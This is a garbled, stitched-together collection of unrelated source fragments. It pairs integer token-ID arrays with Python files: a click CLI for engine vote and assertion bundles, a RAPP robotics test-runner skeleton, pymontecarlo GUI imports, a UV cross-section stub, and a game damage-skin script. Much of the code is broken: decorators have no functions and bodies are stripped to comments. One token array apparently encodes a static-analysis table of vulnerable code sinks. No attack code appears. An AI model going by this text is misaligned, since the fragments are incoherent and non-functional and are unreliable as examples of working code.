14631, 25410, 578, 62, 41915, 62, 8841, 8973, 4357, 198, 220, 220, 220, 14631, 25410, 578, 62, 18558, 1600, 366, 17861, 554, 29192, 1600, 14631, 25410, 578, 62, 41915, 62, 8841, 8973, 4357, 198, 220, 220, 220, 14631, 25410, 578, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 25410, 578, 62, 41915, 62, 8841, 8973, 4357, 198, 220, 220, 220, 14631, 25410, 578, 62, 29762, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 25410, 578, 62, 41915, 62, 8841, 8973, 4357, 198, 220, 220, 220, 14631, 25410, 578, 62, 403, 36873, 1068, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 25410, 578, 62, 41915, 62, 8841, 8973, 4357, 628, 220, 220, 220, 1303, 14340, 46, 16363, 554, 29192, 198, 220, 220, 220, 14631, 3784, 18747, 20746, 1600, 366, 17861, 554, 29192, 1600, 14631, 3784, 46012, 533, 8973, 4357, 198, 220, 220, 220, 14631, 3784, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 3784, 46012, 533, 8973, 4357, 198, 220, 220, 220, 14631, 3784, 22766, 23002, 1600, 366, 17861, 554, 29192, 1600, 14631, 3784, 46012, 533, 8973, 4357, 198, 220, 220, 220, 14631, 3784, 29762, 20746, 1600, 366, 17861, 554, 29192, 1600, 14631, 3784, 46012, 533, 8973, 4357, 198, 220, 220, 220, 14631, 3784, 22766, 28008, 1600, 366, 17861, 554, 29192, 1600, 14631, 3784, 46012, 533, 8973, 4357, 198, 220, 220, 220, 14631, 3784, 18558, 1600, 366, 17861, 554, 29192, 1600, 14631, 3784, 46012, 533, 8973, 4357, 198, 220, 220, 220, 14631, 3784, 41049, 1600, 366, 17861, 554, 29192, 1600, 14631, 3784, 46012, 533, 8973, 4357, 198, 220, 220, 220, 14631, 3784, 403, 36873, 1068, 20746, 1600, 366, 17861, 554, 29192, 1600, 14631, 3784, 46012, 533, 8973, 4357, 198, 220, 220, 220, 14631, 3784, 5305, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 3784, 46012, 533, 8973, 4357, 198, 220, 220, 220, 14631, 3784, 41684, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 3784, 46012, 533, 8973, 4357, 198, 220, 220, 220, 14631, 3784, 21280, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 3784, 46012, 533, 8973, 4357, 628, 220, 220, 220, 1303, 7070, 6058, 16363, 554, 29192, 198, 220, 220, 220, 14631, 66, 549, 6058, 62, 403, 36873, 1068, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 66, 549, 6058, 62, 5305, 62, 41915, 62, 8841, 8973, 4357, 198, 220, 220, 220, 14631, 66, 549, 6058, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 66, 549, 6058, 62, 5305, 62, 41915, 62, 8841, 8973, 4357, 628, 220, 220, 220, 1303, 337, 5432, 9711, 16363, 554, 29192, 1058, 15932, 612, 318, 407, 597, 1103, 62, 41915, 62, 8841, 198, 220, 220, 220, 14631, 76, 824, 13976, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 76, 824, 13976, 62, 41915, 8973, 4357, 628, 220, 220, 220, 1303, 9220, 36803, 198, 220, 220, 220, 14631, 21084, 62, 25850, 276, 62, 7753, 1600, 366, 8979, 36803, 1600, 17635, 4357, 628, 220, 220, 220, 1303, 6372, 14413, 12327, 278, 198, 220, 220, 220, 14631, 30328, 1600, 366, 21544, 14413, 12327, 278, 1600, 14631, 6494, 298, 871, 1600, 366, 6494, 20887, 354, 945, 8973, 4357, 198, 220, 220, 220, 14631, 4798, 1600, 366, 21544, 14413, 12327, 278, 1600, 14631, 6494, 298, 871, 1600, 366, 6494, 20887, 354, 945, 8973, 4357, 198, 220, 220, 220, 14631, 37435, 1600, 366, 21544, 14413, 12327, 278, 1600, 14631, 6494, 298, 871, 1600, 366, 6494, 20887, 354, 945, 8973, 4357, 198, 220, 220, 220, 14631, 85, 37435, 1600, 366, 21544, 14413, 12327, 278, 1600, 14631, 6494, 298, 871, 1600, 366, 6494, 20887, 354, 945, 8973, 4357, 198, 220, 220, 220, 14631, 46284, 62, 18224, 1600, 366, 21544, 14413, 12327, 278, 1600, 14631, 6494, 298, 871, 1600, 366, 6494, 20887, 354, 945, 8973, 4357, 198, 220, 220, 220, 14631, 7220, 62, 18224, 1600, 366, 21544, 14413, 12327, 278, 1600, 14631, 6494, 298, 871, 1600, 366, 6494, 20887, 354, 945, 8973, 4357, 198, 220, 220, 220, 14631, 375, 15630, 62, 20274, 62, 439, 1600, 366, 21544, 14413, 12327, 278, 1600, 14631, 6494, 298, 871, 1600, 366, 6494, 20887, 354, 945, 8973, 4357, 198, 220, 220, 220, 14631, 361, 87, 62, 19211, 2528, 2436, 62, 20274, 1600, 366, 21544, 14413, 12327, 278, 1600, 14631, 6494, 298, 871, 1600, 366, 6494, 20887, 354, 945, 8973, 4357, 198, 220, 220, 220, 14631, 11979, 1600, 366, 21544, 14413, 12327, 278, 1600, 14631, 6494, 298, 871, 1600, 366, 6494, 20887, 354, 945, 8973, 4357, 198, 220, 220, 220, 14631, 37023, 1600, 366, 21544, 14413, 12327, 278, 1600, 14631, 6494, 298, 871, 1600, 366, 6494, 20887, 354, 945, 8973, 4357, 628, 220, 220, 220, 1303, 11961, 12599, 290, 27178, 2969, 198, 220, 220, 220, 14631, 87, 6978, 1600, 366, 27481, 12599, 554, 29192, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 335, 499, 62, 12947, 1600, 366, 11163, 2969, 554, 29192, 1600, 14631, 57, 437, 62, 43, 67, 499, 1600, 366, 335, 499, 62, 41915, 8973, 4357, 628, 220, 220, 220, 1303, 554, 22390, 412, 12, 25804, 198, 220, 220, 220, 14631, 4529, 1600, 366, 818, 22390, 412, 12, 4529, 1600, 17635, 4357, 628, 220, 220, 220, 1303, 19599, 1835, 31173, 554, 29192, 198, 220, 220, 220, 14631, 403, 46911, 1096, 1600, 366, 11909, 47, 9515, 554, 29192, 1600, 17635, 4357, 628, 220, 220, 220, 1303, 48900, 554, 29192, 198, 220, 220, 220, 14631, 25677, 1600, 366, 39681, 554, 29192, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 43481, 12837, 3712, 2617, 13847, 364, 1600, 366, 39681, 554, 29192, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 43481, 18453, 3712, 2617, 13847, 364, 1600, 366, 39681, 554, 29192, 1600, 17635, 4357, 628, 220, 220, 220, 1303, 10289, 2297, 4154, 198, 220, 220, 220, 14631, 4023, 62, 445, 1060, 1600, 366, 21886, 2297, 4154, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 43481, 12837, 3712, 2617, 31077, 10669, 1600, 366, 21886, 2297, 4154, 1600, 17635, 4357, 628, 220, 220, 220, 1303, 9652, 12075, 37350, 554, 29192, 198, 220, 220, 220, 14631, 3784, 13287, 1600, 366, 10697, 12075, 37350, 554, 29192, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 3784, 562, 570, 1600, 366, 10697, 12075, 37350, 554, 29192, 1600, 17635, 4357, 628, 220, 220, 220, 1303, 28788, 15126, 6826, 21059, 198, 220, 220, 220, 14631, 9132, 20, 1600, 366, 44898, 15126, 6826, 21059, 1600, 17635, 4357, 628, 220, 220, 220, 1303, 554, 22390, 28788, 14534, 198, 220, 220, 220, 14631, 16762, 62, 25192, 1600, 366, 818, 22390, 28788, 14534, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 82, 25192, 1600, 366, 818, 22390, 28788, 14534, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 403, 25011, 312, 1600, 366, 818, 22390, 28788, 14534, 1600, 17635, 4357, 628, 220, 220, 220, 1303, 6188, 1004, 461, 198, 220, 220, 220, 14631, 10121, 10951, 1600, 366, 21918, 1004, 461, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 12860, 62, 10459, 1600, 366, 21918, 1004, 461, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 8929, 2971, 62, 7753, 1600, 366, 21918, 1004, 461, 1600, 17635, 4357, 628, 198, 60, 198 ]
2.765674
2,552
from __future__ import absolute_import import logging import click logger = logging.getLogger(__name__) @click.group(short_help="Interact with engines.") @engine.group(short_help="Interact with engine's votes.") @engine.group(short_help="Interact with engine's assertions.") @assertions.command('create', short_help='Create a new bundle with the consolidated assertions data.') @click.argument('engine-id', type=click.STRING) @click.argument('date-start', type=click.STRING) @click.argument('date-end', type=click.STRING) @click.pass_context def assertions_create(ctx, engine_id, date_start, date_end): """ Create a new bundle with the consolidated assertions data for the provided period of time. """ api = ctx.obj['api'] output = ctx.obj['output'] result = api.assertions_create(engine_id, date_start, date_end) output.assertions(result) @assertions.command('get', short_help='Get an assertions bundle.') @click.argument('assertions-job-id', type=click.INT) @click.pass_context def assertions_get(ctx, assertions_job_id): """ Get the assertions bundle for the given bundle id. """ api = ctx.obj['api'] output = ctx.obj['output'] result = api.assertions_get(assertions_job_id) output.assertions(result) @assertions.command('delete', short_help='Delete an assertions bundle.') @click.argument('assertions-job-id', type=click.INT) @click.pass_context def assertions_delete(ctx, assertions_job_id): """ Delete the assertions bundle for the given bundle id. """ api = ctx.obj['api'] output = ctx.obj['output'] result = api.assertions_delete(assertions_job_id) output.assertions(result) @assertions.command('list', short_help='List all assertions bundles for the given engine.') @click.argument('engine-id', type=click.STRING) @click.pass_context @votes.command('create', short_help='Create a new bundle with the consolidated votes data.') @click.argument('engine-id', type=click.STRING) @click.argument('date-start', type=click.STRING) @click.argument('date-end', type=click.STRING) @click.pass_context def votes_create(ctx, engine_id, date_start, date_end): """ Create a new bundle with the consolidated votes data for the provided period of time. """ api = ctx.obj['api'] output = ctx.obj['output'] result = api.votes_create(engine_id, date_start, date_end) output.votes(result) @votes.command('get', short_help='Get a votes bundle.') @click.argument('votes-job-id', type=click.INT) @click.pass_context def votes_get(ctx, votes_job_id): """ Get the votes bundle for the given bundle id. """ api = ctx.obj['api'] output = ctx.obj['output'] result = api.votes_get(votes_job_id) output.votes(result) @votes.command('delete', short_help='Delete a votes bundle.') @click.argument('votes-job-id', type=click.INT) @click.pass_context def votes_delete(ctx, votes_job_id): """ Delete the votes bundle for the given bundle id. """ api = ctx.obj['api'] output = ctx.obj['output'] result = api.votes_delete(votes_job_id) output.votes(result) @votes.command('list', short_help='List all votes bundles for the given engine.') @click.argument('engine-id', type=click.STRING) @click.pass_context
[ 6738, 11593, 37443, 834, 1330, 4112, 62, 11748, 198, 11748, 18931, 198, 198, 11748, 3904, 198, 198, 6404, 1362, 796, 18931, 13, 1136, 11187, 1362, 7, 834, 3672, 834, 8, 628, 198, 31, 12976, 13, 8094, 7, 19509, 62, 16794, 2625, 9492, 529, 351, 11874, 19570, 628, 198, 31, 18392, 13, 8094, 7, 19509, 62, 16794, 2625, 9492, 529, 351, 3113, 338, 5690, 19570, 628, 198, 31, 18392, 13, 8094, 7, 19509, 62, 16794, 2625, 9492, 529, 351, 3113, 338, 29965, 19570, 628, 198, 31, 30493, 507, 13, 21812, 10786, 17953, 3256, 1790, 62, 16794, 11639, 16447, 257, 649, 18537, 351, 262, 27890, 29965, 1366, 2637, 8, 198, 31, 12976, 13, 49140, 10786, 18392, 12, 312, 3256, 2099, 28, 12976, 13, 18601, 2751, 8, 198, 31, 12976, 13, 49140, 10786, 4475, 12, 9688, 3256, 2099, 28, 12976, 13, 18601, 2751, 8, 198, 31, 12976, 13, 49140, 10786, 4475, 12, 437, 3256, 2099, 28, 12976, 13, 18601, 2751, 8, 198, 31, 12976, 13, 6603, 62, 22866, 198, 4299, 29965, 62, 17953, 7, 49464, 11, 3113, 62, 312, 11, 3128, 62, 9688, 11, 3128, 62, 437, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 13610, 257, 649, 18537, 351, 262, 27890, 29965, 1366, 329, 262, 2810, 198, 220, 220, 220, 2278, 286, 640, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 40391, 796, 269, 17602, 13, 26801, 17816, 15042, 20520, 198, 220, 220, 220, 5072, 796, 269, 17602, 13, 26801, 17816, 22915, 20520, 198, 220, 220, 220, 1255, 796, 40391, 13, 30493, 507, 62, 17953, 7, 18392, 62, 312, 11, 3128, 62, 9688, 11, 3128, 62, 437, 8, 198, 220, 220, 220, 5072, 13, 30493, 507, 7, 20274, 8, 628, 198, 31, 30493, 507, 13, 21812, 10786, 1136, 3256, 1790, 62, 16794, 11639, 3855, 281, 29965, 18537, 2637, 8, 198, 31, 12976, 13, 49140, 10786, 30493, 507, 12, 21858, 12, 312, 3256, 2099, 28, 12976, 13, 12394, 8, 198, 31, 12976, 13, 6603, 62, 22866, 198, 4299, 29965, 62, 1136, 7, 49464, 11, 29965, 62, 21858, 62, 312, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 3497, 262, 29965, 18537, 329, 262, 1813, 18537, 4686, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 40391, 796, 269, 17602, 13, 26801, 17816, 15042, 20520, 198, 220, 220, 220, 5072, 796, 269, 17602, 13, 26801, 17816, 22915, 20520, 198, 220, 220, 220, 1255, 796, 40391, 13, 30493, 507, 62, 1136, 7, 30493, 507, 62, 21858, 62, 312, 8, 198, 220, 220, 220, 5072, 13, 30493, 507, 7, 20274, 8, 628, 198, 31, 30493, 507, 13, 21812, 10786, 33678, 3256, 1790, 62, 16794, 11639, 38727, 281, 29965, 18537, 2637, 8, 198, 31, 12976, 13, 49140, 10786, 30493, 507, 12, 21858, 12, 312, 3256, 2099, 28, 12976, 13, 12394, 8, 198, 31, 12976, 13, 6603, 62, 22866, 198, 4299, 29965, 62, 33678, 7, 49464, 11, 29965, 62, 21858, 62, 312, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 23520, 262, 29965, 18537, 329, 262, 1813, 18537, 4686, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 40391, 796, 269, 17602, 13, 26801, 17816, 15042, 20520, 198, 220, 220, 220, 5072, 796, 269, 17602, 13, 26801, 17816, 22915, 20520, 198, 220, 220, 220, 1255, 796, 40391, 13, 30493, 507, 62, 33678, 7, 30493, 507, 62, 21858, 62, 312, 8, 198, 220, 220, 220, 5072, 13, 30493, 507, 7, 20274, 8, 628, 198, 31, 30493, 507, 13, 21812, 10786, 4868, 3256, 1790, 62, 16794, 11639, 8053, 477, 29965, 36344, 329, 262, 1813, 3113, 2637, 8, 198, 31, 12976, 13, 49140, 10786, 18392, 12, 312, 3256, 2099, 28, 12976, 13, 18601, 2751, 8, 198, 31, 12976, 13, 6603, 62, 22866, 628, 198, 31, 29307, 13, 21812, 10786, 17953, 3256, 1790, 62, 16794, 11639, 16447, 257, 649, 18537, 351, 262, 27890, 5690, 1366, 2637, 8, 198, 31, 12976, 13, 49140, 10786, 18392, 12, 312, 3256, 2099, 28, 12976, 13, 18601, 2751, 8, 198, 31, 12976, 13, 49140, 10786, 4475, 12, 9688, 3256, 2099, 28, 12976, 13, 18601, 2751, 8, 198, 31, 12976, 13, 49140, 10786, 4475, 12, 437, 3256, 2099, 28, 12976, 13, 18601, 2751, 8, 198, 31, 12976, 13, 6603, 62, 22866, 198, 4299, 5690, 62, 17953, 7, 49464, 11, 3113, 62, 312, 11, 3128, 62, 9688, 11, 3128, 62, 437, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 13610, 257, 649, 18537, 351, 262, 27890, 5690, 1366, 329, 262, 2810, 198, 220, 220, 220, 2278, 286, 640, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 40391, 796, 269, 17602, 13, 26801, 17816, 15042, 20520, 198, 220, 220, 220, 5072, 796, 269, 17602, 13, 26801, 17816, 22915, 20520, 198, 220, 220, 220, 1255, 796, 40391, 13, 29307, 62, 17953, 7, 18392, 62, 312, 11, 3128, 62, 9688, 11, 3128, 62, 437, 8, 198, 220, 220, 220, 5072, 13, 29307, 7, 20274, 8, 628, 198, 31, 29307, 13, 21812, 10786, 1136, 3256, 1790, 62, 16794, 11639, 3855, 257, 5690, 18537, 2637, 8, 198, 31, 12976, 13, 49140, 10786, 29307, 12, 21858, 12, 312, 3256, 2099, 28, 12976, 13, 12394, 8, 198, 31, 12976, 13, 6603, 62, 22866, 198, 4299, 5690, 62, 1136, 7, 49464, 11, 5690, 62, 21858, 62, 312, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 3497, 262, 5690, 18537, 329, 262, 1813, 18537, 4686, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 40391, 796, 269, 17602, 13, 26801, 17816, 15042, 20520, 198, 220, 220, 220, 5072, 796, 269, 17602, 13, 26801, 17816, 22915, 20520, 198, 220, 220, 220, 1255, 796, 40391, 13, 29307, 62, 1136, 7, 29307, 62, 21858, 62, 312, 8, 198, 220, 220, 220, 5072, 13, 29307, 7, 20274, 8, 628, 198, 31, 29307, 13, 21812, 10786, 33678, 3256, 1790, 62, 16794, 11639, 38727, 257, 5690, 18537, 2637, 8, 198, 31, 12976, 13, 49140, 10786, 29307, 12, 21858, 12, 312, 3256, 2099, 28, 12976, 13, 12394, 8, 198, 31, 12976, 13, 6603, 62, 22866, 198, 4299, 5690, 62, 33678, 7, 49464, 11, 5690, 62, 21858, 62, 312, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 23520, 262, 5690, 18537, 329, 262, 1813, 18537, 4686, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 40391, 796, 269, 17602, 13, 26801, 17816, 15042, 20520, 198, 220, 220, 220, 5072, 796, 269, 17602, 13, 26801, 17816, 22915, 20520, 198, 220, 220, 220, 1255, 796, 40391, 13, 29307, 62, 33678, 7, 29307, 62, 21858, 62, 312, 8, 198, 220, 220, 220, 5072, 13, 29307, 7, 20274, 8, 628, 198, 31, 29307, 13, 21812, 10786, 4868, 3256, 1790, 62, 16794, 11639, 8053, 477, 5690, 36344, 329, 262, 1813, 3113, 2637, 8, 198, 31, 12976, 13, 49140, 10786, 18392, 12, 312, 3256, 2099, 28, 12976, 13, 18601, 2751, 8, 198, 31, 12976, 13, 6603, 62, 22866, 198 ]
2.909494
1,127
#!/usr/bin/env python # -*- coding: utf-8 -*- #Copyright 2015 RAPP #Licensed under the Apache License, Version 2.0 (the "License"); #you may not use this file except in compliance with the License. #You may obtain a copy of the License at #http://www.apache.org/licenses/LICENSE-2.0 #Unless required by applicable law or agreed to in writing, software #distributed under the License is distributed on an "AS IS" BASIS, #WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #See the License for the specific language governing permissions and #limitations under the License. # Authors: Konstantinos Panayiotou, Manos Tsardoulias # contact: [email protected], [email protected] import sys import os import time import argparse from os import listdir from os.path import isfile, join import importlib from threading import Thread, Lock # import roslib import rospkg import rospy import yaml import subprocess __path__ = os.path.dirname(os.path.realpath(__file__)) # Mutex lock used when threaded. mutex = Lock() ## --------- Test Classess ---------- ## testClasses = [ 'face-detection', 'qr-detection', 'speech-detection', 'speech-detection-sphinx4', 'speech-detection-google', 'ontology', 'cognitive', 'tts' ] ## --------------------------------- ## testClassMatch = { 'face-detection' : 'face', 'qr-detection' : 'qr', 'speech-detection' : 'speech', 'speech-detection-sphinx4' : 'sphinx4', 'speech-detection-google' : 'google', 'ontology' : 'ontology', 'cognitive': 'cognitive', 'tts': 'text_to_speech' } results = { 'success' : [], 'failed' : [], 'num_tests': 0 } ## ------------- Console colors -------------- ## ## ------------------------------------------ ## ## # @brief Parse input arguments. ## ## # @brief Parse and get all given tests path directories, plus the default # ones. # # @return Array of tests paths. ## ## # @brief Append directory paths, given as input into the global system path. # This is usefull in order to load test files under those directories. ## ## # @brief Parse input paths and export found test files. # # @param args Arguments. # @param paths Path directories to look for test files. # ## # @brief Load and execute input given tests. # # @param tests List of tests to execute. # @param numCalls Number of executions. # @param threaded If true the execution is handled by threads. # ## ## # @brief Main. ##
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 2, 15269, 1853, 371, 24805, 198, 198, 2, 26656, 15385, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 5832, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262, 13789, 13, 198, 2, 1639, 743, 7330, 257, 4866, 286, 262, 13789, 379, 628, 220, 220, 220, 1303, 4023, 1378, 2503, 13, 43073, 13, 2398, 14, 677, 4541, 14, 43, 2149, 24290, 12, 17, 13, 15, 198, 198, 2, 28042, 2672, 416, 9723, 1099, 393, 4987, 284, 287, 3597, 11, 3788, 198, 2, 17080, 6169, 739, 262, 13789, 318, 9387, 319, 281, 366, 1921, 3180, 1, 29809, 1797, 11, 198, 2, 54, 10554, 12425, 34764, 11015, 6375, 7102, 49828, 11053, 3963, 15529, 509, 12115, 11, 2035, 4911, 393, 17142, 13, 198, 2, 6214, 262, 13789, 329, 262, 2176, 3303, 15030, 21627, 290, 198, 2, 2475, 20597, 739, 262, 13789, 13, 198, 198, 2, 46665, 25, 17431, 18797, 11996, 5961, 323, 5151, 280, 11, 1869, 418, 13146, 446, 2852, 4448, 198, 2, 2800, 25, 479, 75, 6839, 18013, 31, 14816, 13, 785, 11, 304, 912, 446, 280, 31, 8846, 13, 2164, 198, 198, 11748, 25064, 198, 11748, 28686, 198, 11748, 640, 198, 11748, 1822, 29572, 198, 6738, 28686, 1330, 1351, 15908, 198, 6738, 28686, 13, 6978, 1330, 318, 7753, 11, 4654, 198, 11748, 1330, 8019, 198, 6738, 4704, 278, 1330, 14122, 11, 13656, 198, 2, 1330, 686, 6649, 571, 198, 11748, 686, 2777, 10025, 198, 11748, 686, 2777, 88, 198, 11748, 331, 43695, 198, 11748, 850, 14681, 198, 198, 834, 6978, 834, 796, 28686, 13, 6978, 13, 15908, 3672, 7, 418, 13, 6978, 13, 5305, 6978, 7, 834, 7753, 834, 4008, 198, 198, 2, 13859, 1069, 5793, 973, 618, 40945, 13, 198, 21973, 1069, 796, 13656, 3419, 198, 198, 2235, 45337, 6208, 5016, 408, 24200, 438, 22492, 198, 9288, 9487, 274, 796, 685, 198, 220, 220, 220, 705, 2550, 12, 15255, 3213, 3256, 198, 220, 220, 220, 705, 80, 81, 12, 15255, 3213, 3256, 198, 220, 220, 220, 705, 45862, 12, 15255, 3213, 3256, 198, 220, 220, 220, 705, 45862, 12, 15255, 3213, 12, 82, 746, 28413, 19, 3256, 198, 220, 220, 220, 705, 45862, 12, 15255, 3213, 12, 13297, 3256, 198, 220, 220, 220, 705, 756, 1435, 3256, 198, 220, 220, 220, 705, 66, 46610, 3256, 198, 220, 220, 220, 705, 83, 912, 6, 198, 60, 198, 2235, 20368, 12, 22492, 198, 198, 9288, 9487, 23850, 796, 1391, 198, 220, 220, 220, 705, 2550, 12, 15255, 3213, 6, 1058, 705, 2550, 3256, 198, 220, 220, 220, 705, 80, 81, 12, 15255, 3213, 6, 1058, 705, 80, 81, 3256, 198, 220, 220, 220, 705, 45862, 12, 15255, 3213, 6, 1058, 705, 45862, 3256, 198, 220, 220, 220, 705, 45862, 12, 15255, 3213, 12, 82, 746, 28413, 19, 6, 1058, 705, 82, 746, 28413, 19, 3256, 198, 220, 220, 220, 705, 45862, 12, 15255, 3213, 12, 13297, 6, 1058, 705, 13297, 3256, 198, 220, 220, 220, 705, 756, 1435, 6, 1058, 705, 756, 1435, 3256, 198, 220, 220, 220, 705, 66, 46610, 10354, 705, 66, 46610, 3256, 198, 220, 220, 220, 705, 83, 912, 10354, 705, 5239, 62, 1462, 62, 45862, 6, 198, 92, 198, 198, 43420, 796, 1391, 198, 220, 220, 220, 705, 13138, 6, 1058, 685, 4357, 198, 220, 220, 220, 705, 47904, 6, 1058, 685, 4357, 198, 220, 220, 220, 705, 22510, 62, 41989, 10354, 657, 198, 92, 628, 198, 2235, 220, 32501, 24371, 7577, 220, 26171, 22492, 198, 2235, 20368, 35937, 22492, 198, 198, 2235, 198, 2, 220, 220, 2488, 65, 3796, 2547, 325, 5128, 7159, 13, 198, 2235, 198, 198, 2235, 198, 2, 220, 220, 2488, 65, 3796, 2547, 325, 290, 651, 477, 1813, 5254, 3108, 29196, 11, 5556, 262, 4277, 198, 2, 220, 220, 3392, 13, 198, 2, 198, 2, 220, 220, 2488, 7783, 15690, 286, 5254, 13532, 13, 198, 2235, 628, 198, 2235, 198, 2, 220, 220, 2488, 65, 3796, 2034, 437, 8619, 13532, 11, 1813, 355, 5128, 656, 262, 3298, 1080, 3108, 13, 198, 2, 220, 220, 220, 220, 220, 220, 770, 318, 779, 12853, 287, 1502, 284, 3440, 1332, 3696, 739, 883, 29196, 13, 198, 2235, 628, 198, 2235, 198, 2, 220, 220, 2488, 65, 3796, 2547, 325, 5128, 13532, 290, 10784, 1043, 1332, 3696, 13, 198, 2, 198, 2, 220, 220, 2488, 17143, 26498, 20559, 2886, 13, 198, 2, 220, 220, 2488, 17143, 13532, 10644, 29196, 284, 804, 329, 1332, 3696, 13, 198, 2, 628, 198, 2235, 198, 2, 220, 220, 2488, 65, 3796, 8778, 290, 12260, 5128, 1813, 5254, 13, 198, 2, 198, 2, 220, 220, 2488, 17143, 5254, 7343, 286, 5254, 284, 12260, 13, 198, 2, 220, 220, 2488, 17143, 997, 34, 5691, 7913, 286, 30632, 13, 198, 2, 220, 220, 2488, 17143, 40945, 1002, 2081, 262, 9706, 318, 12118, 416, 14390, 13, 198, 2, 198, 2235, 198, 198, 2235, 198, 2, 220, 220, 2488, 65, 3796, 8774, 13, 198, 2235, 198 ]
2.957295
843
"""""" # Standard library modules. import abc from collections import namedtuple import itertools # Third party modules. from qtpy import QtCore, QtGui, QtWidgets import numpy as np # Local modules. from pymontecarlo.options.beam.base import BeamBase from pymontecarlo.options.particle import Particle from pymontecarlo.util.tolerance import tolerance_to_decimals from pymontecarlo_gui.widgets.field import ( MultiValueFieldBase, FieldBase, WidgetFieldBase, FieldChooser, ) from pymontecarlo_gui.widgets.lineedit import ( ColoredMultiFloatLineEdit, ColoredFloatLineEdit, ) from pymontecarlo_gui.options.base import ToleranceMixin # Globals and constants variables. Position = namedtuple("Position", ("x_m", "y_m"))
[ 15931, 15931, 15931, 198, 198, 2, 8997, 5888, 13103, 13, 198, 11748, 450, 66, 198, 6738, 17268, 1330, 3706, 83, 29291, 198, 11748, 340, 861, 10141, 198, 198, 2, 10467, 2151, 13103, 13, 198, 6738, 10662, 83, 9078, 1330, 33734, 14055, 11, 33734, 8205, 72, 11, 33734, 54, 312, 11407, 198, 198, 11748, 299, 32152, 355, 45941, 198, 198, 2, 10714, 13103, 13, 198, 6738, 12972, 2144, 660, 7718, 5439, 13, 25811, 13, 40045, 13, 8692, 1330, 25855, 14881, 198, 6738, 12972, 2144, 660, 7718, 5439, 13, 25811, 13, 3911, 1548, 1330, 2142, 1548, 198, 6738, 12972, 2144, 660, 7718, 5439, 13, 22602, 13, 83, 37668, 1330, 15621, 62, 1462, 62, 12501, 320, 874, 198, 198, 6738, 12972, 2144, 660, 7718, 5439, 62, 48317, 13, 28029, 11407, 13, 3245, 1330, 357, 198, 220, 220, 220, 15237, 11395, 15878, 14881, 11, 198, 220, 220, 220, 7663, 14881, 11, 198, 220, 220, 220, 370, 17484, 15878, 14881, 11, 198, 220, 220, 220, 7663, 22164, 13416, 11, 198, 8, 198, 6738, 12972, 2144, 660, 7718, 5439, 62, 48317, 13, 28029, 11407, 13, 1370, 19312, 1330, 357, 198, 220, 220, 220, 1623, 1850, 29800, 43879, 13949, 18378, 11, 198, 220, 220, 220, 1623, 1850, 43879, 13949, 18378, 11, 198, 8, 198, 6738, 12972, 2144, 660, 7718, 5439, 62, 48317, 13, 25811, 13, 8692, 1330, 309, 37668, 35608, 259, 198, 198, 2, 40713, 874, 290, 38491, 9633, 13, 628, 628, 198, 26545, 796, 3706, 83, 29291, 7203, 26545, 1600, 5855, 87, 62, 76, 1600, 366, 88, 62, 76, 48774, 628, 628, 628, 628, 628, 628, 198 ]
2.915709
261
from __future__ import division, print_function, absolute_import import numpy as np from . import phys import os ''' Implement UV scattering cross-sections. Either data or fits. ''' ### ----------------------------------- ### Global definitions here ### ----------------------------------- ### Absorption crosssection for CO2 ### based on eqn 6 in Venot+ (2013).
[ 6738, 11593, 37443, 834, 1330, 7297, 11, 3601, 62, 8818, 11, 4112, 62, 11748, 198, 11748, 299, 32152, 355, 45941, 198, 6738, 764, 1330, 2281, 198, 11748, 28686, 198, 198, 7061, 6, 198, 3546, 26908, 22033, 45765, 3272, 12, 23946, 13, 198, 32478, 1366, 393, 11414, 13, 198, 7061, 6, 198, 198, 21017, 20368, 6329, 198, 21017, 8060, 17336, 994, 628, 198, 21017, 20368, 6329, 198, 21017, 13051, 273, 1159, 3272, 5458, 329, 7375, 17, 198, 21017, 1912, 319, 37430, 77, 718, 287, 9932, 313, 10, 357, 6390, 737, 198 ]
4.077778
90
# Full Moon Damage Skin success = sm.addDamageSkin(2434574) if success: sm.chat("The Full Moon Damage Skin has been added to your account's damage skin collection.") # sm.consumeItem(2434574)
[ 2, 6462, 6869, 8995, 17847, 198, 13138, 796, 895, 13, 2860, 22022, 42455, 7, 26660, 2231, 4524, 8, 198, 361, 1943, 25, 198, 220, 220, 220, 895, 13, 17006, 7203, 464, 6462, 6869, 8995, 17847, 468, 587, 2087, 284, 534, 1848, 338, 2465, 4168, 4947, 19570, 198, 220, 220, 220, 1303, 895, 13, 5936, 2454, 7449, 7, 26660, 2231, 4524, 8, 198 ]
3.225806
62
